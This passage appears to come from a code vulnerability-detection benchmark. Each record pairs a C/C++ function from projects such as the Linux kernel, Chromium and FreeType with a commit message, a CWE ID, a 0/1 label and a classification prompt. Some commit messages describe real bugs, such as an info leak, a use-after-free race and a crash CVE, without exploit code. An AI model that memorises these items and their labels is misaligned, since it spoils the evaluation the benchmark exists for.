for (i = 0 ; i < (sectors << (9-3)) ; i++, bbp++) {
u64 bb = le64_to_cpu(*bbp);
int count = bb & (0x3ff);
u64 sector = bb >> 10;
sector <<= sb->bblog_shift;
count <<= sb->bblog_shift;
if (bb + 1 == 0)
break;
if (md_set_badblocks(&rdev->badblocks,
sector, count, 1) == 0)
return -EINVAL;
}
} else if (sb->bblog_offset != 0)
rdev->badblocks.shift = 0;
if (!refdev) {
ret = 1;
} else {
__u64 ev1, ev2;
struct mdp_superblock_1 *refsb = page_address(refdev->sb_page);
if (memcmp(sb->set_uuid, refsb->set_uuid, 16) != 0 ||
sb->level != refsb->level ||
sb->layout != refsb->layout ||
sb->chunksize != refsb->chunksize) {
printk(KERN_WARNING "md: %s has strangely different"
" superblock to %s\n",
bdevname(rdev->bdev,b),
bdevname(refdev->bdev,b2));
return -EINVAL;
}
ev1 = le64_to_cpu(sb->events);
ev2 = le64_to_cpu(refsb->events);
if (ev1 > ev2)
ret = 1;
else
ret = 0;
}
if (minor_version) {
sectors = (i_size_read(rdev->bdev->bd_inode) >> 9);
sectors -= rdev->data_offset;
} else
sectors = rdev->sb_start;
if (sectors < le64_to_cpu(sb->data_size))
return -EINVAL;
rdev->sectors = le64_to_cpu(sb->data_size);
return ret;
}
Commit Message: md: use kzalloc() when bitmap is disabled
In drivers/md/md.c get_bitmap_file() uses kmalloc() for creating a
mdu_bitmap_file_t called "file".
5769 file = kmalloc(sizeof(*file), GFP_NOIO);
5770 if (!file)
5771 return -ENOMEM;
This structure is copied to user space at the end of the function.
5786 if (err == 0 &&
5787 copy_to_user(arg, file, sizeof(*file)))
5788 err = -EFAULT
But if bitmap is disabled only the first byte of "file" is initialized
with zero, so it's possible to read some bytes (up to 4095) of kernel
space memory from user space. This is an information leak.
5775 /* bitmap disabled, zero the first byte and copy out */
5776 if (!mddev->bitmap_info.file)
5777 file->pathname[0] = '\0';
Signed-off-by: Benjamin Randazzo <benjamin@randazzo.fr>
Signed-off-by: NeilBrown <neilb@suse.com>
CWE ID: CWE-200
| 0
| 42,547
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ps_parser_skip_PS_token( PS_Parser parser )
{
/* Note: PostScript allows any non-delimiting, non-whitespace */
/* character in a name (PS Ref Manual, 3rd ed, p31). */
/* PostScript delimiters are (, ), <, >, [, ], {, }, /, and %. */
FT_Byte* cur = parser->cursor;
FT_Byte* limit = parser->limit;
FT_Error error = FT_Err_Ok;
skip_spaces( &cur, limit ); /* this also skips comments */
if ( cur >= limit )
goto Exit;
/* self-delimiting, single-character tokens */
if ( *cur == '[' || *cur == ']' )
{
cur++;
goto Exit;
}
/* skip balanced expressions (procedures and strings) */
if ( *cur == '{' ) /* {...} */
{
error = skip_procedure( &cur, limit );
goto Exit;
}
if ( *cur == '(' ) /* (...) */
{
error = skip_literal_string( &cur, limit );
goto Exit;
}
if ( *cur == '<' ) /* <...> */
{
if ( cur + 1 < limit && *(cur + 1) == '<' ) /* << */
{
cur++;
cur++;
}
else
error = skip_string( &cur, limit );
goto Exit;
}
if ( *cur == '>' )
{
cur++;
if ( cur >= limit || *cur != '>' ) /* >> */
{
FT_ERROR(( "ps_parser_skip_PS_token:"
" unexpected closing delimiter `>'\n" ));
error = FT_THROW( Invalid_File_Format );
goto Exit;
}
cur++;
goto Exit;
}
if ( *cur == '/' )
cur++;
/* anything else */
while ( cur < limit )
{
/* *cur might be invalid (e.g., ')' or '}'), but this */
/* is handled by the test `cur == parser->cursor' below */
if ( IS_PS_DELIM( *cur ) )
break;
cur++;
}
Exit:
if ( cur < limit && cur == parser->cursor )
{
FT_ERROR(( "ps_parser_skip_PS_token:"
" current token is `%c' which is self-delimiting\n"
" "
" but invalid at this point\n",
*cur ));
error = FT_THROW( Invalid_File_Format );
}
if ( cur > limit )
cur = limit;
parser->error = error;
parser->cursor = cur;
}
Commit Message:
CWE ID: CWE-119
| 0
| 7,345
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void wake_up_idle_cpu(int cpu)
{
struct rq *rq = cpu_rq(cpu);
if (cpu == smp_processor_id())
return;
/*
* This is safe, as this function is called with the timer
* wheel base lock of (cpu) held. When the CPU is on the way
* to idle and has not yet set rq->curr to idle then it will
* be serialized on the timer wheel base lock and take the new
* timer into account automatically.
*/
if (rq->curr != rq->idle)
return;
/*
* We can set TIF_RESCHED on the idle task of the other CPU
* lockless. The worst case is that the other CPU runs the
* idle task through an additional NOOP schedule()
*/
set_tsk_need_resched(rq->idle);
/* NEED_RESCHED must be visible before we test polling */
smp_mb();
if (!tsk_is_polling(rq->idle))
smp_send_reschedule(cpu);
}
Commit Message: Sched: fix skip_clock_update optimization
idle_balance() drops/retakes rq->lock, leaving the previous task
vulnerable to set_tsk_need_resched(). Clear it after we return
from balancing instead, and in setup_thread_stack() as well, so
no successfully descheduled or never scheduled task has it set.
Need resched confused the skip_clock_update logic, which assumes
that the next call to update_rq_clock() will come nearly immediately
after being set. Make the optimization robust against the waking
a sleeper before it sucessfully deschedules case by checking that
the current task has not been dequeued before setting the flag,
since it is that useless clock update we're trying to save, and
clear unconditionally in schedule() proper instead of conditionally
in put_prev_task().
Signed-off-by: Mike Galbraith <efault@gmx.de>
Reported-by: Bjoern B. Brandenburg <bbb.lst@gmail.com>
Tested-by: Yong Zhang <yong.zhang0@gmail.com>
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: stable@kernel.org
LKML-Reference: <1291802742.1417.9.camel@marge.simson.net>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID:
| 0
| 22,665
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int lua_ap_mpm_query(lua_State *L)
{
int x,
y;
x = lua_tointeger(L, 1);
ap_mpm_query(x, &y);
lua_pushinteger(L, y);
return 1;
}
Commit Message: *) SECURITY: CVE-2015-0228 (cve.mitre.org)
mod_lua: A maliciously crafted websockets PING after a script
calls r:wsupgrade() can cause a child process crash.
[Edward Lu <Chaosed0 gmail.com>]
Discovered by Guido Vranken <guidovranken gmail.com>
Submitted by: Edward Lu
Committed by: covener
git-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1657261 13f79535-47bb-0310-9956-ffa450edef68
CWE ID: CWE-20
| 0
| 45,069
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int __ptrace_may_access(struct task_struct *task, unsigned int mode)
{
const struct cred *cred = current_cred(), *tcred;
/* May we inspect the given task?
* This check is used both for attaching with ptrace
* and for allowing access to sensitive information in /proc.
*
* ptrace_attach denies several cases that /proc allows
* because setting up the necessary parent/child relationship
* or halting the specified task is impossible.
*/
int dumpable = 0;
/* Don't let security modules deny introspection */
if (task == current)
return 0;
rcu_read_lock();
tcred = __task_cred(task);
if (uid_eq(cred->uid, tcred->euid) &&
uid_eq(cred->uid, tcred->suid) &&
uid_eq(cred->uid, tcred->uid) &&
gid_eq(cred->gid, tcred->egid) &&
gid_eq(cred->gid, tcred->sgid) &&
gid_eq(cred->gid, tcred->gid))
goto ok;
if (ptrace_has_cap(tcred->user_ns, mode))
goto ok;
rcu_read_unlock();
return -EPERM;
ok:
rcu_read_unlock();
smp_rmb();
if (task->mm)
dumpable = get_dumpable(task->mm);
rcu_read_lock();
if (!dumpable && !ptrace_has_cap(__task_cred(task)->user_ns, mode)) {
rcu_read_unlock();
return -EPERM;
}
rcu_read_unlock();
return security_ptrace_access_check(task, mode);
}
Commit Message: ptrace: ensure arch_ptrace/ptrace_request can never race with SIGKILL
putreg() assumes that the tracee is not running and pt_regs_access() can
safely play with its stack. However a killed tracee can return from
ptrace_stop() to the low-level asm code and do RESTORE_REST, this means
that debugger can actually read/modify the kernel stack until the tracee
does SAVE_REST again.
set_task_blockstep() can race with SIGKILL too and in some sense this
race is even worse, the very fact the tracee can be woken up breaks the
logic.
As Linus suggested we can clear TASK_WAKEKILL around the arch_ptrace()
call, this ensures that nobody can ever wakeup the tracee while the
debugger looks at it. Not only this fixes the mentioned problems, we
can do some cleanups/simplifications in arch_ptrace() paths.
Probably ptrace_unfreeze_traced() needs more callers, for example it
makes sense to make the tracee killable for oom-killer before
access_process_vm().
While at it, add the comment into may_ptrace_stop() to explain why
ptrace_stop() still can't rely on SIGKILL and signal_pending_state().
Reported-by: Salman Qazi <sqazi@google.com>
Reported-by: Suleiman Souhlal <suleiman@google.com>
Suggested-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Oleg Nesterov <oleg@redhat.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-362
| 0
| 33,709
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: find_idlest_group(struct sched_domain *sd, struct task_struct *p,
int this_cpu, int sd_flag)
{
struct sched_group *idlest = NULL, *group = sd->groups;
struct sched_group *most_spare_sg = NULL;
unsigned long min_runnable_load = ULONG_MAX;
unsigned long this_runnable_load = ULONG_MAX;
unsigned long min_avg_load = ULONG_MAX, this_avg_load = ULONG_MAX;
unsigned long most_spare = 0, this_spare = 0;
int load_idx = sd->forkexec_idx;
int imbalance_scale = 100 + (sd->imbalance_pct-100)/2;
unsigned long imbalance = scale_load_down(NICE_0_LOAD) *
(sd->imbalance_pct-100) / 100;
if (sd_flag & SD_BALANCE_WAKE)
load_idx = sd->wake_idx;
do {
unsigned long load, avg_load, runnable_load;
unsigned long spare_cap, max_spare_cap;
int local_group;
int i;
/* Skip over this group if it has no CPUs allowed */
if (!cpumask_intersects(sched_group_span(group),
&p->cpus_allowed))
continue;
local_group = cpumask_test_cpu(this_cpu,
sched_group_span(group));
/*
* Tally up the load of all CPUs in the group and find
* the group containing the CPU with most spare capacity.
*/
avg_load = 0;
runnable_load = 0;
max_spare_cap = 0;
for_each_cpu(i, sched_group_span(group)) {
/* Bias balancing toward CPUs of our domain */
if (local_group)
load = source_load(i, load_idx);
else
load = target_load(i, load_idx);
runnable_load += load;
avg_load += cfs_rq_load_avg(&cpu_rq(i)->cfs);
spare_cap = capacity_spare_without(i, p);
if (spare_cap > max_spare_cap)
max_spare_cap = spare_cap;
}
/* Adjust by relative CPU capacity of the group */
avg_load = (avg_load * SCHED_CAPACITY_SCALE) /
group->sgc->capacity;
runnable_load = (runnable_load * SCHED_CAPACITY_SCALE) /
group->sgc->capacity;
if (local_group) {
this_runnable_load = runnable_load;
this_avg_load = avg_load;
this_spare = max_spare_cap;
} else {
if (min_runnable_load > (runnable_load + imbalance)) {
/*
* The runnable load is significantly smaller
* so we can pick this new CPU:
*/
min_runnable_load = runnable_load;
min_avg_load = avg_load;
idlest = group;
} else if ((runnable_load < (min_runnable_load + imbalance)) &&
(100*min_avg_load > imbalance_scale*avg_load)) {
/*
* The runnable loads are close so take the
* blocked load into account through avg_load:
*/
min_avg_load = avg_load;
idlest = group;
}
if (most_spare < max_spare_cap) {
most_spare = max_spare_cap;
most_spare_sg = group;
}
}
} while (group = group->next, group != sd->groups);
/*
* The cross-over point between using spare capacity or least load
* is too conservative for high utilization tasks on partially
* utilized systems if we require spare_capacity > task_util(p),
* so we allow for some task stuffing by using
* spare_capacity > task_util(p)/2.
*
* Spare capacity can't be used for fork because the utilization has
* not been set yet, we must first select a rq to compute the initial
* utilization.
*/
if (sd_flag & SD_BALANCE_FORK)
goto skip_spare;
if (this_spare > task_util(p) / 2 &&
imbalance_scale*this_spare > 100*most_spare)
return NULL;
if (most_spare > task_util(p) / 2)
return most_spare_sg;
skip_spare:
if (!idlest)
return NULL;
/*
* When comparing groups across NUMA domains, it's possible for the
* local domain to be very lightly loaded relative to the remote
* domains but "imbalance" skews the comparison making remote CPUs
* look much more favourable. When considering cross-domain, add
* imbalance to the runnable load on the remote node and consider
* staying local.
*/
if ((sd->flags & SD_NUMA) &&
min_runnable_load + imbalance >= this_runnable_load)
return NULL;
if (min_runnable_load > (this_runnable_load + imbalance))
return NULL;
if ((this_runnable_load < (min_runnable_load + imbalance)) &&
(100*this_avg_load < imbalance_scale*min_avg_load))
return NULL;
return idlest;
}
Commit Message: sched/fair: Fix infinite loop in update_blocked_averages() by reverting a9e7f6544b9c
Zhipeng Xie, Xie XiuQi and Sargun Dhillon reported lockups in the
scheduler under high loads, starting at around the v4.18 time frame,
and Zhipeng Xie tracked it down to bugs in the rq->leaf_cfs_rq_list
manipulation.
Do a (manual) revert of:
a9e7f6544b9c ("sched/fair: Fix O(nr_cgroups) in load balance path")
It turns out that the list_del_leaf_cfs_rq() introduced by this commit
is a surprising property that was not considered in followup commits
such as:
9c2791f936ef ("sched/fair: Fix hierarchical order in rq->leaf_cfs_rq_list")
As Vincent Guittot explains:
"I think that there is a bigger problem with commit a9e7f6544b9c and
cfs_rq throttling:
Let take the example of the following topology TG2 --> TG1 --> root:
1) The 1st time a task is enqueued, we will add TG2 cfs_rq then TG1
cfs_rq to leaf_cfs_rq_list and we are sure to do the whole branch in
one path because it has never been used and can't be throttled so
tmp_alone_branch will point to leaf_cfs_rq_list at the end.
2) Then TG1 is throttled
3) and we add TG3 as a new child of TG1.
4) The 1st enqueue of a task on TG3 will add TG3 cfs_rq just before TG1
cfs_rq and tmp_alone_branch will stay on rq->leaf_cfs_rq_list.
With commit a9e7f6544b9c, we can del a cfs_rq from rq->leaf_cfs_rq_list.
So if the load of TG1 cfs_rq becomes NULL before step 2) above, TG1
cfs_rq is removed from the list.
Then at step 4), TG3 cfs_rq is added at the beginning of rq->leaf_cfs_rq_list
but tmp_alone_branch still points to TG3 cfs_rq because its throttled
parent can't be enqueued when the lock is released.
tmp_alone_branch doesn't point to rq->leaf_cfs_rq_list whereas it should.
So if TG3 cfs_rq is removed or destroyed before tmp_alone_branch
points on another TG cfs_rq, the next TG cfs_rq that will be added,
will be linked outside rq->leaf_cfs_rq_list - which is bad.
In addition, we can break the ordering of the cfs_rq in
rq->leaf_cfs_rq_list but this ordering is used to update and
propagate the update from leaf down to root."
Instead of trying to work through all these cases and trying to reproduce
the very high loads that produced the lockup to begin with, simplify
the code temporarily by reverting a9e7f6544b9c - which change was clearly
not thought through completely.
This (hopefully) gives us a kernel that doesn't lock up so people
can continue to enjoy their holidays without worrying about regressions. ;-)
[ mingo: Wrote changelog, fixed weird spelling in code comment while at it. ]
Analyzed-by: Xie XiuQi <xiexiuqi@huawei.com>
Analyzed-by: Vincent Guittot <vincent.guittot@linaro.org>
Reported-by: Zhipeng Xie <xiezhipeng1@huawei.com>
Reported-by: Sargun Dhillon <sargun@sargun.me>
Reported-by: Xie XiuQi <xiexiuqi@huawei.com>
Tested-by: Zhipeng Xie <xiezhipeng1@huawei.com>
Tested-by: Sargun Dhillon <sargun@sargun.me>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Acked-by: Vincent Guittot <vincent.guittot@linaro.org>
Cc: <stable@vger.kernel.org> # v4.13+
Cc: Bin Li <huawei.libin@huawei.com>
Cc: Mike Galbraith <efault@gmx.de>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Tejun Heo <tj@kernel.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
Fixes: a9e7f6544b9c ("sched/fair: Fix O(nr_cgroups) in load balance path")
Link: http://lkml.kernel.org/r/1545879866-27809-1-git-send-email-xiexiuqi@huawei.com
Signed-off-by: Ingo Molnar <mingo@kernel.org>
CWE ID: CWE-400
| 0
| 92,555
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: flac_open (SF_PRIVATE *psf)
{
psf_log_printf (psf, "This version of libsndfile was compiled without FLAC support.\n") ;
return SFE_UNIMPLEMENTED ;
} /* flac_open */
Commit Message: src/flac.c: Improve error handling
Especially when dealing with corrupt or malicious files.
CWE ID: CWE-119
| 0
| 67,110
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void GM2TabStyle::SetHoverLocation(const gfx::Point& location) {
if (hover_controller_)
hover_controller_->SetLocation(location);
}
Commit Message: Paint tab groups with the group color.
* The background of TabGroupHeader now uses the group color.
* The backgrounds of tabs in the group are tinted with the group color.
This treatment, along with the colors chosen, are intended to be
a placeholder.
Bug: 905491
Change-Id: Ic808548f8eba23064606e7fb8c9bba281d0d117f
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1610504
Commit-Queue: Bret Sepulveda <bsep@chromium.org>
Reviewed-by: Taylor Bergquist <tbergquist@chromium.org>
Cr-Commit-Position: refs/heads/master@{#660498}
CWE ID: CWE-20
| 0
| 140,837
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool MojoAudioOutputIPC::StreamCreationRequested() {
return stream_.is_bound();
}
Commit Message: Correct mojo::WrapSharedMemoryHandle usage
Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which
were assuming that the call actually has any control over the memory
protection applied to a handle when mapped.
Where fixing usage is infeasible for this CL, TODOs are added to
annotate follow-up work.
Also updates the API and documentation to (hopefully) improve clarity
and avoid similar mistakes from being made in the future.
BUG=792900
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477
Reviewed-on: https://chromium-review.googlesource.com/818282
Reviewed-by: Wei Li <weili@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Sadrul Chowdhury <sadrul@chromium.org>
Reviewed-by: Yuzhu Shen <yzshen@chromium.org>
Reviewed-by: Robert Sesek <rsesek@chromium.org>
Commit-Queue: Ken Rockot <rockot@chromium.org>
Cr-Commit-Position: refs/heads/master@{#530268}
CWE ID: CWE-787
| 0
| 149,372
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void dispatchEventMethod(const v8::FunctionCallbackInfo<v8::Value>& info)
{
ExceptionState exceptionState(ExceptionState::ExecutionContext, "dispatchEvent", "TestObjectPython", info.Holder(), info.GetIsolate());
EventTarget* impl = V8TestObjectPython::toNative(info.Holder());
if (DOMWindow* window = impl->toDOMWindow()) {
if (!BindingSecurity::shouldAllowAccessToFrame(info.GetIsolate(), window->frame(), exceptionState)) {
exceptionState.throwIfNeeded();
return;
}
if (!window->document())
return;
}
if (UNLIKELY(info.Length() < 1)) {
exceptionState.throwTypeError(ExceptionMessages::notEnoughArguments(1, info.Length()));
exceptionState.throwIfNeeded();
return;
}
TestObjectPython* imp = V8TestObjectPython::toNative(info.Holder());
V8TRYCATCH_VOID(Event*, event, V8Event::toNativeWithTypeCheck(info.GetIsolate(), info[0]));
bool result = imp->dispatchEvent(event, exceptionState);
if (exceptionState.throwIfNeeded())
return;
v8SetReturnValueBool(info, result);
}
Commit Message: document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 122,270
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: jbd2_journal_release_buffer(handle_t *handle, struct buffer_head *bh)
{
BUFFER_TRACE(bh, "entry");
}
Commit Message: jbd2: clear BH_Delay & BH_Unwritten in journal_unmap_buffer
journal_unmap_buffer()'s zap_buffer: code clears a lot of buffer head
state ala discard_buffer(), but does not touch _Delay or _Unwritten as
discard_buffer() does.
This can be problematic in some areas of the ext4 code which assume
that if they have found a buffer marked unwritten or delay, then it's
a live one. Perhaps those spots should check whether it is mapped
as well, but if jbd2 is going to tear down a buffer, let's really
tear it down completely.
Without this I get some fsx failures on sub-page-block filesystems
up until v3.2, at which point 4e96b2dbbf1d7e81f22047a50f862555a6cb87cb
and 189e868fa8fdca702eb9db9d8afc46b5cb9144c9 make the failures go
away, because buried within that large change is some more flag
clearing. I still think it's worth doing in jbd2, since
->invalidatepage leads here directly, and it's the right place
to clear away these flags.
Signed-off-by: Eric Sandeen <sandeen@redhat.com>
Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
Cc: stable@vger.kernel.org
CWE ID: CWE-119
| 0
| 24,387
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool AXObject::computeIsInertOrAriaHidden(
IgnoredReasons* ignoredReasons) const {
if (getNode()) {
if (getNode()->isInert()) {
if (ignoredReasons) {
HTMLDialogElement* dialog = getActiveDialogElement(getNode());
if (dialog) {
AXObject* dialogObject = axObjectCache().getOrCreate(dialog);
if (dialogObject)
ignoredReasons->push_back(
IgnoredReason(AXActiveModalDialog, dialogObject));
else
ignoredReasons->push_back(IgnoredReason(AXInert));
} else {
ignoredReasons->push_back(IgnoredReason(AXInert));
}
}
return true;
}
} else {
AXObject* parent = parentObject();
if (parent && parent->isInertOrAriaHidden()) {
if (ignoredReasons)
parent->computeIsInertOrAriaHidden(ignoredReasons);
return true;
}
}
const AXObject* hiddenRoot = ariaHiddenRoot();
if (hiddenRoot) {
if (ignoredReasons) {
if (hiddenRoot == this)
ignoredReasons->push_back(IgnoredReason(AXAriaHidden));
else
ignoredReasons->push_back(IgnoredReason(AXAriaHiddenRoot, hiddenRoot));
}
return true;
}
return false;
}
Commit Message: Switch to equalIgnoringASCIICase throughout modules/accessibility
BUG=627682
Review-Url: https://codereview.chromium.org/2793913007
Cr-Commit-Position: refs/heads/master@{#461858}
CWE ID: CWE-254
| 0
| 127,238
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void ion_buffer_kmap_put(struct ion_buffer *buffer)
{
buffer->kmap_cnt--;
if (!buffer->kmap_cnt) {
buffer->heap->ops->unmap_kernel(buffer->heap, buffer);
buffer->vaddr = NULL;
}
}
Commit Message: staging/android/ion : fix a race condition in the ion driver
There is a use-after-free problem in the ion driver.
This is caused by a race condition in the ion_ioctl()
function.
A handle has ref count of 1 and two tasks on different
cpus calls ION_IOC_FREE simultaneously.
cpu 0 cpu 1
-------------------------------------------------------
ion_handle_get_by_id()
(ref == 2)
ion_handle_get_by_id()
(ref == 3)
ion_free()
(ref == 2)
ion_handle_put()
(ref == 1)
ion_free()
(ref == 0 so ion_handle_destroy() is
called
and the handle is freed.)
ion_handle_put() is called and it
decreases the slub's next free pointer
The problem is detected as an unaligned access in the
spin lock functions since it uses load exclusive
instruction. In some cases it corrupts the slub's
free pointer which causes a mis-aligned access to the
next free pointer.(kmalloc returns a pointer like
ffffc0745b4580aa). And it causes lots of other
hard-to-debug problems.
This symptom is caused since the first member in the
ion_handle structure is the reference count and the
ion driver decrements the reference after it has been
freed.
To fix this problem client->lock mutex is extended
to protect all the codes that uses the handle.
Signed-off-by: Eun Taik Lee <eun.taik.lee@samsung.com>
Reviewed-by: Laura Abbott <labbott@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-416
| 0
| 48,524
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void kvm_pv_kick_cpu_op(struct kvm *kvm, unsigned long flags, int apicid)
{
struct kvm_lapic_irq lapic_irq;
lapic_irq.shorthand = 0;
lapic_irq.dest_mode = 0;
lapic_irq.dest_id = apicid;
lapic_irq.msi_redir_hint = false;
lapic_irq.delivery_mode = APIC_DM_REMRD;
kvm_irq_delivery_to_apic(kvm, NULL, &lapic_irq, NULL);
}
Commit Message: KVM: x86: Reload pit counters for all channels when restoring state
Currently if userspace restores the pit counters with a count of 0
on channels 1 or 2 and the guest attempts to read the count on those
channels, then KVM will perform a mod of 0 and crash. This will ensure
that 0 values are converted to 65536 as per the spec.
This is CVE-2015-7513.
Signed-off-by: Andy Honig <ahonig@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID:
| 0
| 57,738
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int UDPSocketWin::SetMulticastInterface(uint32 interface_index) {
DCHECK(CalledOnValidThread());
if (is_connected())
return ERR_SOCKET_IS_CONNECTED;
multicast_interface_ = interface_index;
return OK;
}
Commit Message: Map posix error codes in bind better, and fix one windows mapping.
r=wtc
BUG=330233
Review URL: https://codereview.chromium.org/101193008
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@242224 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-416
| 0
| 113,460
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: irc_server_send_signal (struct t_irc_server *server, const char *signal,
const char *command, const char *full_message,
const char *tags)
{
int length;
char *str_signal, *full_message_tags;
length = strlen (server->name) + 1 + strlen (signal) + 1 + strlen (command) + 1;
str_signal = malloc (length);
if (str_signal)
{
snprintf (str_signal, length,
"%s,%s_%s", server->name, signal, command);
if (tags)
{
length = strlen (tags) + 1 + strlen (full_message) + 1;
full_message_tags = malloc (length);
if (full_message_tags)
{
snprintf (full_message_tags, length,
"%s;%s", tags, full_message);
weechat_hook_signal_send (str_signal,
WEECHAT_HOOK_SIGNAL_STRING,
(void *)full_message_tags);
free (full_message_tags);
}
}
else
{
weechat_hook_signal_send (str_signal, WEECHAT_HOOK_SIGNAL_STRING,
(void *)full_message);
}
free (str_signal);
}
}
Commit Message:
CWE ID: CWE-20
| 0
| 3,514
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool DebuggerFunction::InitClientHost() {
if (!InitAgentHost())
return false;
client_host_ = FindClientHost();
if (!client_host_) {
FormatErrorMessage(keys::kNotAttachedError);
return false;
}
return true;
}
Commit Message: [DevTools] Do not allow chrome.debugger to attach to web ui pages
If the page navigates to web ui, we force detach the debugger extension.
TBR=alexclarke@chromium.org
Bug: 798222
Change-Id: Idb46c2f59e839388397a8dfa6ce2e2a897698df3
Reviewed-on: https://chromium-review.googlesource.com/935961
Commit-Queue: Dmitry Gozman <dgozman@chromium.org>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Nasko Oskov <nasko@chromium.org>
Cr-Commit-Position: refs/heads/master@{#540916}
CWE ID: CWE-20
| 0
| 155,713
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ClearResources() {
for (int i = 0; i < num_ui_resources_; i++)
ui_resources_[i] = nullptr;
}
Commit Message: (Reland) Discard compositor frames from unloaded web content
This is a reland of https://codereview.chromium.org/2707243005/ with a
small change to fix an uninitialized memory error that fails on MSAN
bots.
BUG=672847
TBR=danakj@chromium.org, creis@chromium.org
CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_site_isolation
Review-Url: https://codereview.chromium.org/2731283003
Cr-Commit-Position: refs/heads/master@{#454954}
CWE ID: CWE-362
| 0
| 137,411
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void SimpleSoftOMXComponent::onQueueFilled(OMX_U32 portIndex __unused) {
}
Commit Message: omx: prevent input port enable/disable for software codecs
Bug: 29421804
Change-Id: Iba1011e9af942a6dff7f659af769a51e3f5ba66f
CWE ID: CWE-264
| 0
| 158,365
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void oz_hcd_pd_departed(struct oz_port *port)
{
struct oz_hcd *ozhcd;
void *hpd;
struct oz_endpoint *ep = NULL;
if (port == NULL) {
oz_dbg(ON, "%s: port = 0\n", __func__);
return;
}
ozhcd = port->ozhcd;
if (ozhcd == NULL)
return;
/* Check if this is the connection port - if so clear it.
*/
spin_lock_bh(&ozhcd->hcd_lock);
if ((ozhcd->conn_port >= 0) &&
(port == &ozhcd->ports[ozhcd->conn_port])) {
oz_dbg(ON, "Clearing conn_port\n");
ozhcd->conn_port = -1;
}
spin_lock(&port->port_lock);
port->flags |= OZ_PORT_F_DYING;
spin_unlock(&port->port_lock);
spin_unlock_bh(&ozhcd->hcd_lock);
oz_clean_endpoints_for_config(ozhcd->hcd, port);
spin_lock_bh(&port->port_lock);
hpd = port->hpd;
port->hpd = NULL;
port->bus_addr = 0xff;
port->config_num = 0;
port->flags &= ~(OZ_PORT_F_PRESENT | OZ_PORT_F_DYING);
port->flags |= OZ_PORT_F_CHANGED;
port->status &= ~(USB_PORT_STAT_CONNECTION | USB_PORT_STAT_ENABLE);
port->status |= (USB_PORT_STAT_C_CONNECTION << 16);
/* If there is an endpont 0 then clear the pointer while we hold
* the spinlock be we deallocate it after releasing the lock.
*/
if (port->out_ep[0]) {
ep = port->out_ep[0];
port->out_ep[0] = NULL;
}
spin_unlock_bh(&port->port_lock);
if (ep)
oz_ep_free(port, ep);
usb_hcd_poll_rh_status(ozhcd->hcd);
oz_usb_put(hpd);
